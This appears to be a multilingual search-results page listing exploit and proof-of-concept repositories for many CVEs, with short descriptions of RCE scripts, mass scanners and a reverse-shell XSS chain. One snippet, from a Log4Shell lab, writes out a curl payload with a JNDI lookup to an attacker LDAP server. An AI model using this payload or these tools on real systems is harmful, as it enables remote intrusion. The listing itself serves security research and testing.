1130320 matches found
CVE-2020-10148
Como usar e isenção de responsabilidade Este script é um script de detecção em lote da vulnerabilidade de execução remota de código da API SolarWinds Orion CVE-2020-10148. Como usar: Python CVE-2020-10148.py urls.txt Cada url no urls.txt é uma linha, os endereços vulneráveis são salvos em vul.txt...
Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post-
Apache-CouchDB-CVE-2022-24706-RCE-Exploits-Blog-post- Ho scritto un post sul blog sugli exploit RCE CVE-2022-24706 di Apache CouchDB...
POC_CVE-2026-42589
POCCVE-2026-42589 Laboratório de reprodução local e rascunho de template do nuclei para CVE-2026-42589 que afeta o Gotenberg. Resumo A CVE-2026-42589 é um problema de execução remota de código não autenticada no Gotenberg causado por injeção de nova linha na chave de metadados em: root@kitploit:...
CVE-2023-40355
🚨 Verificador CVE-2023-40355 Bem-vindo ao Verificador CVE-2023-40355! Este script Python foi projetado para testar a vulnerabilidade CVE-2023-40355 em aplicações web. 📋 Descrição A vulnerabilidade de Cross Site Scripting XSS no Axigen versões 10.3.3.0 anteriores a 10.3.3.59, 10.4.0 anteriores a...
log4shell_lab
Laboratorio di exploit log4shell Questo repository è una configurazione a riga singola per il laboratorio di exploit log4shell. Configura il laboratorio: docker-compose up -d Esegui l'exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Poi vai al...
CVE-2007-4607
CVE-2007-4607 https://joeyrideout.com/reworking-decade-old-exploit-code/...
CVE-2025-64446_CVE-2025-58034
FortiWeb Remote Code Execution RCE Exploit über die CVE-2025-64446 + CVE-2025-58034-Kette Beschreibung Dieses Skript verkettet zwei kritische Schwachstellen in Fortinet FortiWeb, um eine nicht authentifizierte Remote-Codeausführung mit Root-Rechten zu erreichen: 1. CVE-2025-64446 –...
CVE-2023-22518
CVE-2023-22518 Exploit Descrizione Questo repository contiene uno script di exploit per CVE-2023-22518. Lo script consente il caricamento di file non autorizzato, che potrebbe portare all'esecuzione di codice remoto o ad altre vulnerabilità di sicurezza. Disclaimer Questo repository è solo a scop...
CVE-2024-29269
Telesquare TLR-2005KSHRCE CVE-2024-29269 Scansione/exploit in batch 1.Questo strumento è destinato esclusivamente a test di sicurezza; non sono responsabile di alcun attacco illegale. 2.Lo strumento è utilizzato solo per test di sicurezza e non sono responsabile di eventuali attacchi illegali. 3....
CVE-2024-11394
CVE-2024-11394 Vulnerabilità di esecuzione remota di codice tramite deserializzazione di dati non fidati nel modello Trax di Hugging Face Transformers Panoramica di alto livello ed effetti della vulnerabilità: La vulnerabilità consente a un attaccante di eseguire codice arbitrario sulla macchina...
WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425
WonderCMS 4.3.2 Exploit XSS verso RCE Panoramica Questi script sfruttano una vulnerabilità XSS Cross-Site Scripting in WonderCMS 4.3.2 per ottenere Esecuzione Remota di Codice RCE. Il payload XSS, quando innescato dall'amministratore, installa automaticamente una reverse shell sul server target...
CVE-2023-49070
CVE-2023-49070 RCE pre-autenticazione in Apache Ofbiz!! Guarda il video POC: https://youtu.be/gDzYb6YvBSQ...
CVE-2025-1974
🚨 Test di Iniezione di Log tramite Admission Controller di Ingress-NGINX 🧠 Panoramica Questo script testa le vulnerabilità di iniezione di annotazioni nei cluster Kubernetes utilizzando il NGINX Ingress Controller. È destinato solo a scopi di rilevamento in relazione a CVE-2025-1974, che consente...
Zimbra-RCE
Zimbra-RCE Zimbra RCE CVE-2019-9670 root@kitploit: $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670...
CVE-2022-1388
Impatto della vulnerabilità Questa vulnerabilità potrebbe consentire a un attaccante non autenticato con accesso di rete al sistema BIG-IP attraverso la porta di gestione e/o gli indirizzi IP propri di eseguire comandi arbitrari di sistema, creare o eliminare file, o disabilitare servizi. Prodott...
CVE-2026-36239
CVE-2026-36239 CVE-2026-36239: RCE autenticado no backend do PbootCMS v3.2.12 sitecopyright Visão Geral da Vulnerabilidade: Foi identificada uma vulnerabilidade crítica de execução remota de código RCE na funcionalidade sitecopyright da interface de administração do PbootCMS. Especificamente, a...
CVE-2023-36845-Juniper-Vulnerability
CVE-2023-36845 Questo script fornisce un Proof of Concept PoC automatizzato per CVE-2023-36845, una vulnerabilità che interessa Juniper Networks Junos OS sui dispositivi delle serie EX e SRX. Sfrutta il componente J-Web, consentendo la modifica remota della variabile PHPRC e potenziali iniezioni ...
CVE-2020-10673
CVE-2020-10673 CVE-2020-10673:jackson-databind RCE...
CVE-2024-47176
CVE-2024-47176 Scanner di vulnerabilità per CUPS: CVE-2024-47176 Lo scanner di massa per la vulnerabilità CUPS CVE-2024-47176 è uno strumento specializzato progettato per rilevare la presenza della vulnerabilità CVE-2024-47176 su più sistemi che eseguono il Common Unix Printing System CUPS. Quest...